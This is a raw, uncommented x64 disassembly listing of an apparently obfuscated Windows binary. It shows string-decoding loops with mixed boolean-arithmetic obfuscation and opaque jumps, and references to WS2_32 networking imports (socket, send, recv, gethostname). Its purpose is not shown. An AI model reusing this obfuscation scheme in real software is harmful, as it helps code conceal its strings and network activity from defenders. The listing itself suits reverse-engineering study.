add rdi, rax
inc rdi
jmp 0x140079432
movabs rdx, 0x5d91b17072af9618
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140079fda
movabs rcx, 0x8d9bbaf6e472f2a4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7c
jmp 0x140079e5d
movabs rcx, 0xbda5c47d56364f30
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140079432
movabs rcx, 0xedafce03c7f9abbc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x24
jmp 0x140079f9c
movabs rdx, 0x1db9d78a39bd0848
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140079f77
movabs rdx, 0x4dc3e110ab8064d4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140079432
movabs rdx, 0x7dcdea971d43c160
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140079432
movabs rcx, 0xadd7f41d8f071dec
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x74
jmp 0x140079f25
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x140079bb8
movabs rdx, 0xe7fafb3cc71e51ba
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x16
add r11b, dl
jmp 0x1400799be
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140079bfa
movabs rdx, 0xf2d37f8aaf96884
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xbc8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140079432
inc rax
cmp r8, rax
jne 0x140079c2a
movabs rdx, 0xaf1924ebc772af6c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140079e5d
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400799be
movabs rcx, 0x1efb0858722899c8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
jmp 0x140079f77
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140079c86
movabs rcx, 0x16c3d3f500761cc6
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6a
jmp 0x140079f25
inc rax
cmp r8, rax
jne 0x140079cbf
movabs rdx, 0xe6b9ca6e8eb2c03a
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140079432
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140079cf0
movabs rdx, 0x86a5b761ab2c0722
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 9
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140079f77
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140079962
movabs rcx, 0x569baddb3968aa96
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1a
jmp 0x140079f9c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140079d5d
movabs rcx, 0x1e5a6ff155f2d108
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
movzx eax, byte [rbp + rdi + 0xbc8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140079432
inc rax
cmp r8, rax
jne 0x140079d8d
movabs rdx, 0xbe465ce4726c17f0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140079e5d
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140079dce
movabs rdx, 0x8e3c535e00a8bb64
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140079432
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140079916
movabs rdx, 0x5e3249d78ee55ed8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140079f9c
movabs rdx, 0x3df610b0e4513390
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0xbc8]
add r11b, bl
add r11b, dl
jmp 0x140079f77
movabs rdx, 0xdec072a728dd704
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, byte [rbp + rdi + 0xbc8]
sub r11b, 0x1c
add r11b, dl
movabs rcx, 0xf5e7026739ac28be
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x32
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0xbc8], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x140079fda
movabs rdx, 0xe75a62d5aae888fa
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140079432
movabs rcx, 0x77787f6900329e9e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x52
dec rdi
inc rdi
jmp 0x140079432
movabs rdx, 0xd78c9275e3b957b6
mov ecx, 3
jmp 0x140079f11
movabs rdx, 0x37a0a582c74010ce
mov ecx, Ordinal_50
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0x55fb15741d32e1d6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0xbc8], cl
inc r9
dec rdi
inc rdi
jmp 0x140079432
movabs rcx, 0xc7bec2161c8a2672
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1e
movabs rcx, 0x25f10bedab6f854a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 6
add cl, bl
add cl, r11b
mov byte [rbp + rdi + 0xbc8], cl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140079432
mov rbx, r10
movabs rdx, 0x87e6e82fe39798a2
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x6e
add r11b, dl
movabs rcx, 0xdde1fda400ca7a78
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x48
add cl, bl
mov byte [rbp + rdi + 0xbc8], cl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xbc8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140079432
movabs rcx, 0xb7f0f1b6555af52e
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x42
movzx eax, byte [rbp + rdi + 0xbc8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140079432
movabs rcx, 0x8564869372c075a2
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6e
jmp 0x14007942e
movabs rcx, 0xb56e9019e483d22e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x42
jmp 0x140079411
lea rcx, [rbp + 0x15ef4c0]
jmp 0x14007a0b2
lea rcx, [rbp + 0x17d467a]
jmp 0x14007a0b2
lea rcx, [rbp + 0xbc8]
mov rdx, rsi
call fcn.140035c60
lea rdx, [0x1402281e0]
lea rcx, [rbp + 0x538]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022e160]
call fcn.14006a810
mov rcx, rax
call fcn.14006bc00
mov rsi, rax
mov byte [rbp + 0xbf0], Ordinal_45
mov byte [rbp + 0xbf1], 0x3e
mov byte [rbp + 0xbf2], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0xbf3], gethostname
mov byte [rbp + 0xbf4], 0x62
mov byte [rbp + 0xbf5], 0
mov byte [rbp + 0xbf6], Ordinal_41
mov byte [rbp + 0xbf7], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0xbf8], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0xbf9], Ordinal_45
mov byte [rbp + 0xbfa], 0x58
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xbfb], xmm0
mov qword [rbp + 0xc0b], rax
movabs r14, 0xb8808647a9700ba7
movabs r15, 0xdd9bda543cf1d339
movabs r12, 0x5221e5ebe3aa33a3
movzx r11d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor edi, edi
movabs rcx, 0x45bcfa342ca3cfcb
cmp rdi, 0x23
jae 0x14007af6e
movzx ebx, byte [rbp + rdi + 0xbf0]
mov r10, rbx
cmp r8, rdi
ja 0x14007af65
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007a1cc
add rcx, rdi
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
add r11b, 0x73
jmp 0x14007a213
je 0x14007aee0
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007ae45
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007ae0f
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007adca
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007ada1
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007ad75
cmp r9, rdi
ja 0x14007af5c
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x14007a243
lea rdx, [rdi + r14]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x6f
add r11b, dl
jmp 0x14007a290
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007ad27
inc rax
cmp r8, rax
je 0x14007acfe
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007acdb
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007acb8
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007ac85
lea rax, [r9 + 7]
cmp r8, rax
je 0x14007ac62
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x14007a8f8
nop dword [rax]
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007a8d0
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007a89f
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14007a871
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14007a849
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14007a821
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14007a7ee
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007a7cb
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007a7a4
lea rax, [r9 + 8]
cmp r8, rax
je 0x14007a770
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14007a2a0
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14007af39
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14007af16
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14007a48b
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14007a471
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14007a457
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14007a710
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14007a6b1
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14007a665
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14007a637
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14007a2a0
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x20]
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14007a5fe
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14007a5d6
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14007a5ae
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14007a57b
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14007a558
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14007a535
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14007a50c
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14007a4e0
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14007a4b8
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14007a2a0
lea r8, [r9 + 0x10]
lea r9, [r8 + 6]
jmp 0x14007a2a0
lea rcx, [rdi + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x71
jmp 0x14007a290
lea rcx, [rdi + r12]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x75
jmp 0x14007a213
movabs rcx, 0xc6a7f1838a62940d
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5b
movabs rcx, 0x45bcfa342ca3cfcb
jmp 0x14007a19e
movabs rdx, 0xc404323d4b805d38
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007ad45
movabs rcx, 0x388a3dd4f238bda2
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6e
inc r9
dec rdi
inc rdi
jmp 0x14007a182
movabs rcx, 0xad10496c98f11e0c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x54
dec rdi
inc rdi
jmp 0x14007a182
movabs rcx, 0x219655043fa97e76
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3a
jmp 0x14007ade8
movabs rcx, 0x961c609be661dee0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
jmp 0x14007ae2d
movabs rcx, 0xaa26c338d1a3f4a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 6
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007a182
movabs rdx, 0x7f2877cb33d29fb4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007ae6b
movabs rdx, 0xf3ae8362da8b001e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007ae9c
movabs rdx, 0x68348efa81436088
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xbf0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007a182
movabs rcx, 0xb83abf5a2105191
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 9
mov byte [rbp + rdi + 0xbf0], r11b
inc rdi
jmp 0x14007a182
movabs rcx, 0x8009b78d48c8b1fb
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x23
cmp r9, 0x64
jb 0x14007a655
movabs rdx, 0xc94bb0c9c944cae2
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x5c]
jmp 0x14007ad45
movabs rcx, 0xf48fc324ef811265
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x3d
cmp r8, 0x1000
jae 0x14007ac09
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x14007aaca
movabs rdx, 0x568824b64c788f06
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2a
add r11b, dl
jmp 0x14007a683
movabs rdx, 0x6915cebc963972cf
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x57
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 0xa
je 0x14007ac38
lea rax, [r9 + 5]
cmp r8, rax
jbe 0x14007a9c1
movabs rcx, 0x9e079e6ea308835f
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x67
jmp 0x14007a6cf
movabs rcx, 0x530325adf8a045ea
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x66
movzx eax, byte [rbp + rdi + 0xbf0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007a182
movabs rdx, 0xc78931459f58a654
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x4c
add r11b, dl
jmp 0x14007ae9c
movabs rcx, 0x3c0f3cdd461106be
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x32
jmp 0x14007ae6b
movabs rcx, 0xb0954874ecc96728
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007a182
movabs rdx, 0x251b540c9381c792
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007ae2d
movabs rdx, 0x99a15fa43a3a27fc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007ade8
movabs rdx, 0xe276b3be0f28866
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x14007a182
movabs rdx, 0x82ad76d387aae8d0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x14007a182
movabs rdx, 0xf733826b2e63493a
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007ad45
lea rax, [r9 + 6]
cmp r8, rax
jae 0x14007a924
movabs rcx, 0x45bcfa342ca3cfcb
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x73
jmp 0x14007a732
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007a961
movabs rcx, 0x71010c8f52e0174e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x22
movzx eax, byte [rbp + rdi + 0xbf0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007a182
inc rax
cmp r8, rax
jne 0x14007a98c
movabs rcx, 0xfc7b00f7ac27b6e4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3c
jmp 0x14007ae9c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007a732
movabs rdx, 0x9ee8de30b7fe95a6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007ae2d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007a9ed
movabs rcx, 0x298192d6fc5022f5
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x4d
jmp 0x14007ad45
inc rax
cmp r8, rax
jne 0x14007aa21
movabs rcx, 0xb4fb873f5597c28b
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x33
inc r9
dec rdi
inc rdi
jmp 0x14007a182
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007aa4d
movabs rcx, 0x57696478616ea14d
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1b
jmp 0x14007ae2d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007aa89
movabs rcx, 0xe2e358e0bab640e3
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x35
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007a182
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007a6cf
movabs rcx, 0x85513619c68d1fa5
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x7d
movzx eax, byte [rbp + rdi + 0xbf0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007a182
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007ab07
movabs rcx, 0xe202191ea5c02e9c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x44
movzx eax, byte [rbp + rdi + 0xbf0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007a182
inc rax
cmp r8, rax
jne 0x14007ab32
movabs rcx, 0xf8f601ef584f6dc8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
jmp 0x14007ae6b
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007ab63
movabs rdx, 0xfe9eac00adeacf4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007ae2d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007ab94
movabs rdx, 0x9b63df2864264c8a
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007ade8
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14007abcb
movabs rdx, 0x26ddd390bd6dec20
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x14007a182
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007a683
movabs rdx, 0xb257c7f916b58bb6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x14007a182
movabs rdx, 0x54c5a532228c6a78
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0xbf0]
sub r11b, al
sub r11b, 0x48
add r11b, dl
add r11b, bl
jmp 0x14007ade8
movabs rcx, 0xe03f999a7bd40a0e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + rdi + 0xbf0]
lea r11d, [rbx + rcx]
sub r11b, 0x62
jmp 0x14007ae6b
movabs rcx, 0x88d635221a6568c1
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x47
jmp 0x14007ae6b
movabs rcx, 0xfd5c40b9c11dc92b
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2d
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007a182
movabs rcx, 0x71e24c5167d62995
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x13
jmp 0x14007ae2d
movabs rcx, 0xe66857e90e8e89ff
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 7
jmp 0x14007ade8
movabs rcx, 0x5aee6380b546ea69
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x21
dec rdi
inc rdi
jmp 0x14007a182
movabs rcx, 0x43fa7ab002b7ab3d
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x55
movabs rcx, 0xf08aafdf5e89aad
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
add bl, 0x45
add bl, cl
mov byte [rbp + rdi + 0xbf0], bl
inc r9
dec rdi
inc rdi
jmp 0x14007a182
movabs rcx, 0xa18c9d76f6e0cc7b
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5d
inc r9
dec rdi
inc rdi
jmp 0x14007a182
movabs rcx, 0x1612a90e9d992ce5
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x43
dec rdi
inc rdi
jmp 0x14007a182
movabs rcx, 0x8a98b4a644518d4f
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x29
movabs rcx, 0x9a829f664f303a43
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x2b
add cl, bl
add cl, r11b
mov byte [rbp + rdi + 0xbf0], cl
jmp 0x14007ae2d
movabs rcx, 0xff1ec03deb09edb9
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xf
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007a182
mov rbx, r10
movabs rdx, 0xe82ad76d387aae8d
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x25
add r11b, dl
movabs rdx, 0x25fc93cea877d9d9
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, 0x11
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xbf0], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0x6bb98e02d51ba9a4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x7c
add cl, bl
mov byte [rbp + rdi + 0xbf0], cl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xbf0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007a182
movabs rcx, 0xd136ee9c85eb6f61
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x59
movzx eax, byte [rbp + rdi + 0xbf0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007a182
movabs rcx, 0x3b2dfd1b311af477
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x41
jmp 0x14007a17e
movabs rcx, 0xafb408b2d7d354e1
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x27
jmp 0x14007a16b
lea rcx, [rbp + 0x14fa854]
jmp 0x14007af75
lea rcx, [rbp + 0x73781f]
jmp 0x14007af75
lea rcx, [rbp + 0xbf0]
